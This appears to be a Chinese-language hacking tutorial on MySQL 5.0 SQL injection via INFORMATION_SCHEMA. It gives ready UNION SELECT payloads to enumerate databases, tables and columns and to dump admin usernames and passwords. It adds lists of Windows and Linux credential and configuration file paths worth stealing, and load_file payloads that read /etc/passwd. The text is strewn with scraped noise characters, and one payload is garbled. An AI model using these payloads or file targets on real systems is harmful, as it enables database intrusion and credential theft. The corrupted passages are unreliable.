mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

2 G6 M7 ^' ?- n; T- ^, }

" t$ A. u" V" t$ E5 RMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
( X* y/ w5 U! [  o存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
5 @6 A5 e% M) u6 j( s1 Y& B
* R% H& C: C' D2 p" K|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名
5 [3 Z5 I$ T7 \
- C: _5 N$ B- b# y/ T2 m|COLUMNS ->存储的字段名表
4 l! ~6 v% [& P5 F|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称
7 `% h5 {$ l, _# N# T( x8 ]$ W
#########################################################################
##
8 Q) ^6 M3 @  P6 ?3 H+ A
- v; l% d& S0 j; z7 [; ^9 y2 I. z/ ~0×001 获取系统信息:
( ~  }, C- g2 G7 B% W
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
$ d. E+ V- g% n(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
8 t! w* H8 B! }
3 d2 ~( L, C8 A/ T$ N7 A@@global.version_compile_os 获取系统版本

8 S0 z* N% k/ h5 R% m4 F' s, R@@datadir 数据库路径
database() 当前数据库名称
" Q; K' Y: r+ s( d: h1 m, h+ g3 a0x3c62723e 换行HEX值
6 \; {$ k8 N; O
*/
  y5 g1 T: O2 M
0 m. R7 u. t1 }- P0 B######################################################################
5 N9 F' l/ o# D- ^# U* t
0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
' D6 M' O' N8 u( X5 k0 finformation_schema.tables where table_schema=0x67617264656e /*
2 @) u8 Z( k; t) `
5 f9 i! T" k" i( J1 N  {/*
/ k( ?, n' a) O9 r- M+ @
: q. T! l/ n. _  l0x67617264656e 为当前数据库名
; o6 g0 y$ W3 ^! J4 F
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

# w8 n/ i2 M/ I( L! q3 `4 e######################################################################

0×003 获取字段
. ]6 Z# k2 E# j4 `3 q
; B# M) S; m% `0 ?3 }/ xunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
7 w/ Z' e6 u$ }+ p2 T3 Yinformation_schema.columns where table_name=0x61646d696e and


table_schema=0x67617264656e limit 1 /*
. K1 T# Y; i( N1 Y& t  V( @
. }2 Q: B- q0 p: Z+ Y4 Y: L/*
: @9 H! C8 X. I% z" P
5 T6 @# i3 X2 z! A" u0 b& M9 Y: Dgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表
& ]6 x, C) P: }- X0 a4 f
0x67617264656e ->数据库名
2 p. x9 o" n. n2 t1 s9 @
*/
) W) N! b) [4 L
#####################################################################

$ r( t. R' H% W- A# F; C0×004 获取数据
/ h; E+ v% D* `. ~
# U2 F! o: v( ~union select 1,2,3
! m9 W# @  i) w& m0 x. s5 L,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

/*
+ N& N3 p" A* A4 U1 C
0x3c62723e 换行符号HEX编码

: @( V6 A; R! \+ J+ mgroup_concat 同时获得该字段所有数据

, P4 g2 e8 A+ d9 U0 j*/

: x2 J; A2 x6 o1 l/ s' Z



# j8 o& }3 [9 Q8 j  n1 W6 Y顺便添加一些mysql注入时非常有用的一些东西
2 f+ Y4 Y/ t) c9 s. d) ]
3 L8 U' t- ?) e$ }* |! j% Z简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
$ G( K2 f0 e: R5 q
: u6 b0 A( r3 U" r1:system_user() 系统用户名
2:user()        用户名
. r+ U; e& d' K+ b7 `) r3:current_user()  当前用户名
4:session_user()连接数据库的用户名
/ v6 f! [& i/ |8 C8 f; s' G5:database()    数据库名
6:version()     MYSQL数据库版本
, T+ s% F8 Z% Q$ A7:load_file()   MYSQL读取本地文件的函数
6 z6 |- z: R% [5 o8@datadir     读取数据库路径
7 c7 g; x: P" t9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
. A- B5 Z; B  \8 R: a; T3 TWINDOWS下:
c:/boot.ini          //查看系统版本
1 O) w9 m$ F1 ec:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
2 ^1 o( F. B1 Y; M/ H+ oc:/winnt/php.ini
c:/winnt/my.ini
" y9 D( p/ Z7 p. [3 _9 j6 N) Nc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
8 Z. c* _3 V7 y8 q9 E' W- bc:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
# P$ T+ J' N8 X( ic:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
5 W$ a# o$ }- A7 yc:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
3 g0 F- b( j8 e//存储了pcAnywhere的登陆密码
4 a, Z3 D3 j0 z" i; qc:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
' E5 T" b; k+ p. @# A- N, i; z' ec:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
8 N4 s! Y! k) w4 g- J" [' ^
- b' f1 o5 A* ]2 X
7 ^& Z- K6 f1 j9 B/ xc:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
  a6 {1 o& W) F0 |& ?C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
8 F: P1 y7 {2 M( s; ?6 `
8 N' l2 J8 p9 i8 {' d: |LUNIX/UNIX下:
9 D# E3 @/ o0 y) s& S" @9 m/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
$ t# }; Q; e8 ^/usr/local/apache2/conf/httpd.conf
: ?' P3 @/ Q# }8 c) x$ \. G) b/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
) c2 D4 G- b  P/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
# I# M0 C& ]3 H# V6 J6 X/ L4 _/ v/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
+ n! X* n# f" B/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
2 s% d# V- l  d* t' L; W$ W/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
- h  |  E4 M9 h1 N, kload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
* H) G. ]* ?% j. treplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

) W1 t$ e* ], h